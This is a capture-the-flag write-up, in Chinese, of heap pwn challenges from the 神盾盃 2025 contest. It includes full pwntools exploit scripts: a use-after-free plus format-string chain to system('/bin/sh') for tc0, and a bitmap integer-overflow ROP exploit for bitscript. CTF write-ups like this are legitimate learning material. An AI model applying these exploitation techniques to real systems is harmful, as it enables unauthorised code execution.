# 神盾盃 2025 write-up 這次分為霸主和滲透,滲透部份我完全不會,都在霸主那邊打 binary(沒有 crypto QQ)。感覺看洞看太慢,寫 exploit 也寫太慢,寫出來都被 patch 掉了。 ## Day1 ### tc0 這題寫出來就被 patch 掉了,他是一個 heap 的題目,保護全開,glibc 2.39,每次的 `add` 會呼叫兩次 malloc,第一次 malloc 會 allocate 0x20 的空間(以下指的空間都是包含 header),放以下的結構體: ```cpp struct node { void (print_func *)(void *); void *note; } ``` 然後會 malloc 一塊小於 `0x1000` 大小的 block,放在 `note` 裡,這個 size 可控。 ```cpp list[i] = malloc(0x10u); if ( !list[i] ) { puts("Error : unable to allocate required memory"); exit(-1); } *(_QWORD *)list[i] = list_print; puts("meal size : "); read(0, buf, 9u); v0 = atoi(buf); v4 = v0; if ( !v0 || (unsigned __int64)v0 > 0xFFF ) { puts("size don't match"); exit(-1); } v1 = list[i]; *(_QWORD *)(v1 + 8) = malloc(v0); if ( !*(_QWORD *)(list[i] + 8LL) ) { puts("Error : unable to allocate required memory"); exit(-1); } puts("details : "); read(0, *(void **)(list[i] + 8LL), v4); ++count; ``` 另外在 cancel 裡面有一個 `UAF` 漏洞,它沒有清空指標: ```cpp puts("Index :"); read(0, buf, 4u); v3 = atoi(buf); if ( v3 < 0 || v3 >= count ) puts("\x1B[31m Index mebay error \x1B[0m"); if ( list[v3] ) { v0 = v3; free(*(void **)(list[v0] + 8LL)); v1 = (void *)list[v0]; list[v0] = 0; free(v1); --count; puts("Cancle Order..."); } ``` 首先要讓一個 note 被釋放,叫它 note0 好了。接下來要讓另一個 note 的 data 等於 note0 的 0x20 那塊,且他的 0x20 那塊不能是 note0 的 0x20 那塊,就叫它 note1 好了。此時,再 free 一次 note0,然後用 show 去把 note1 印出來,就能拿到 heap base。 拿到 heap base 之後,想辦法新增筆記讓 note1 的 data 放的是另一個 note 的 print_func,此時把 note1 印出來就可以 leak pie。 接下來注意到裡面有使用 printf 函式,所以有 printf@plt,把某塊 note 裡的函式指標蓋成 printf@plt 就能打 format string,於是就成功拿到 libc 了。 有 libc 就可以把某塊 note 裡的函式指標變成 `system`,帶入 `/bin/sh` 就能 getshell 了。中間有些看起來沒用的操作,是因為它會紀錄現在有多少個 block,決定現在能操作的最大 index 是多少。 ```python from pwn import * r = process("./tc0") def add(size: int, data: bytes): r.sendlineafter(b":", b"!") r.sendlineafter(b":", str(size).encode()) r.sendafter(b": ", data) def delete(idx: int): r.sendlineafter(b":", "@") r.sendlineafter(b":", str(idx).encode()) def show(idx: int): r.sendlineafter(b":", "#") r.sendlineafter(b":", str(idx).encode()) add(0x20, b"x") # 0 add(0x20, b"y") # 1 **target** delete(1) # 2f0 delete(0) # 2a0 add(0x10, b"a") # 2 add(0x20, b"a") # 3 add(0x20, b"a") # 4 add(0x20, b"a") # 5 delete(1) show(2) r.recv() heap_base = u64(r.recv(5).ljust(8, b"\x00")) << 12 print(hex(heap_base)) # gdb.attach(r) add(0x20, b"a") # 6 show(2) r.recvline() pie_base = u64(r.recv(6).ljust(8, b"\x00")) - 0x1249 print(hex(pie_base)) printf_plt = pie_base + 0x1100 add(0x30, b"a") # 7 delete(0) delete(7) add(0x10, p64(printf_plt) + p64(heap_base + 0x460)) # 8 add(0x40, "%15$p") # 9 show(0) r.recvline() libc = ELF("./libc.so.6") libc.address = int(r.recv(14).decode(), 16) - 0x2a1ca print(hex(libc.address)) add(0x30, b"a") # 10 delete(0) delete(10) add(0x10, p64(libc.sym["system"]) + p64(heap_base + 0x4f0)) add(0x50, b"/bin/sh\x00") # gdb.attach(r) # input() show(0) r.interactive() ``` ### Tryit 這題沒弄出來,而且第二天那個洞就被 patch 掉了。簡單來說他可以 leak stack address,且有個任意長度的 heap overflow。但是,它 free 的方式很特別,每次你要先 malloc 一塊你指定 size 的東西,輸入內容後它會輸出這個 block 的內容,並且問你要不要 free 它,在這之後就再也無法存取這個 block 也無法釋放他了。 ```cpp void sub_40145C() { _DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF printf("input size:"); nbytes[0] = sub_40154B(); *(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1)); printf("input data:"); read(0, *(void **)&nbytes[1], nbytes[0]); printf("your input:"); printf("%s", *(const char **)&nbytes[1]); printf("free?(y/n) :"); read(0, nbytes, 4u); if ( LOBYTE(nbytes[0]) == 121 ) free(*(void **)&nbytes[1]); } ``` 第一個想法是用 overflow 在 tcache 上弄假 block,但 tcache 會紀錄每個 bin 裡面有多少個 block,而仔細思考會發現我們用正常方式無法有兩個以上相同大小的 tcache。 於是,我的想法是先改 topchunk 的 size 把它弄進 unsorted bin,切到剩下一個剛好大小的把它放進 smallbin,在 smallbin 偽造一個 freelist 再 alloc 一個 block 把他們放進 tcache 裡面。簡單來說就是 house of orange 的前半還有 house of lore。 巧妙的讓 house of lore 後製造出的 tcache 的第一個可以被 overflow 寫到,那就可以做到 stack 任意寫,可以直接 ROP。 只是這邊晚上破防了,反正早上被 patch 掉了。 ## Day2 ### bitscript 這題在整場比賽的最後 10 分鐘終於 getshell,當時我看到 `RIP = 0xdeadbeef` 的時候整個手在抖。 這題是一個編譯器,它會先把輸入編譯後執行。聽說有很多洞,但我只用到一個,就是在 bitmap 的創建中,檢查大小的部份有 integer overflow,造成之後在 bitmap_get 和 bitmap_set 中可以做到 heap 上任意偏移量讀寫(以 bit 為單位),這個洞是 Aukro 用 mcp 找到的。 ```cpp Bitmap *__fastcall create_bitmap_internal(__int64 width, __int64 height) { __int64 v2; // rax Bitmap *bitmap; // [rsp+18h] [rbp-8h] if ( width <= 0 || height <= 0 || height * width > 0x800000 ) { fprintf(stderr, "Invalid bitmap dimensions: width=%lld, height=%lld\n", width, height); exit(1); } bitmap = (Bitmap *)malloc(0x18u); // Allocate Bitmap struct (0x18 = 24 bytes) // Layout: // +0x00: long long width // +0x08: long long height // +0x10: void *data (bit array, size = (width*height+7)/8) if ( !bitmap ) { fwrite("Memory allocation failed for bitmap\n", 1u, 0x24u, stderr); exit(1); } bitmap->width = width; bitmap->height = height; v2 = height * width + 7; if ( v2 < 0 ) v2 = height * width + 14; bitmap->data = malloc((int)(v2 >> 3)); // Allocate bitmap data array // Size calculation: (width*height+7)/8 bytes // VULNERABILITY: Integer overflow if width*height is very large if ( !bitmap->data ) { fwrite("Memory allocation failed for bitmap data\n", 1u, 0x29u, stderr); exit(1); } return bitmap; } ``` 既然可讀,就可以在後面 alloc 一塊,丟進 tcache 裡,因為有 safe linking 所以能拿到 heap base,再做一塊丟進 unsorted bin,就能洩漏 libc。知道了這兩個,可以算出偏移量,那就能做到在 libc 上的任意讀寫。但 file structure 比較麻煩,我們選擇先去 libc 上面洩漏 stack,再寫 stack 做 ROP。但是它只能在一開始輸入一個原始碼,我們拿到各種 leak(譬如 libc)之後也沒辦法輸入,要怎麼辦呢? 答案是使用這個程式語言去寫 exploit,各種 leak 都存在裡面的變數,計算也是在裡面進行。這個想法其實很早就出來了,之後就是漫長的搓 exploit 的過程。 ```python from pwn import * r = process("./bitscript") yee = b"string s = \"Hello, BitScript!\";\n" yee += b"bitmap bm = create(65536, 281474976710657);\n" yee += b"bitmap bm1 = create(100, 100);\n" yee += b"int x = 0;\n" yee += b"delete(bm1);\n" yee += b"int i = 63;\n" yee += b"while (i >= 0) {\n" yee += b"x=x*2;\n" yee += b"x=x+get(bm, 1024+i, 1);\n" yee += b"i = i - 1;\n" yee += b"}\n" yee += b"x=x-2112288;\n" yee += b"print(x);\n" yee += b"int trash = 0;\n" yee += b"delete(trash);\n" yee += b"int y = 0;\n" # 48 base_off = 0x14a0 # 0x2090 -> bit base: 66560 # 0x2070 -> bit base: 66432 yee += b"i = 47;\n" yee += b"while (i >= 0) {\n" yee += b"y = y * 2;" yee += b"y = y + get(bm, 896+i, 1);\n" yee += b"i = i - 1;\n" yee += b"}\n" yee += b"y = y - 8336 + 16;\n" yee += b"print(y);\n" yee += b"int stack = 0;\n" yee += b"int environ = x + 2141528;\n" yee += b"int off = (environ - y) * 8;\n" yee += b"int xx = off % 65536;\n" yee += b"int yy = off / 65536;\n" yee += b"i = 63;\n" yee += b"while (i >= 0) {\n" yee += b"stack = stack * 2;\n" yee += b"stack = stack + get(bm,xx+i, yy);\n" yee += b"i = i - 1;\n" yee += b"}\n" yee += b"stack = stack - 304;\n" yee += b"print(stack);\n" libc = ELF("./libc.so.6") # print(hex(libc.sym["system"])) # exit(0) pop_rdi = 0x000000000010f78b #: pop rdi ; ret ret = 0x000000000010f78b + 1 #: pop rdi ; ret binsh = 0x00000000001cb42f #: /bin/sh ls = [ret, pop_rdi, binsh, 0x58750] yee += b"int tmp = 0;\n" for i in ls: yee += f"tmp = x + {i};\n".encode() yee += b"off = (stack - y) * 8;\n" yee += b"xx = off % 65536;\n" yee += b"yy = off / 65536;\n" yee += b"i = 0;\n" yee += b"while (i < 64) {\n" yee += b"set(bm, xx+i, yy, tmp % 2);\n" yee += b"tmp = tmp / 2;\n" yee += b"i = i + 1;\n" yee += b"}\n" yee += b"stack = stack + 8;\n" yee += b"print(s);\n" yee = str(len(yee)).encode().ljust(14, b" ") + b"\n" + yee print(yee) r.sendlineafter(b":", yee) r.interactive() ```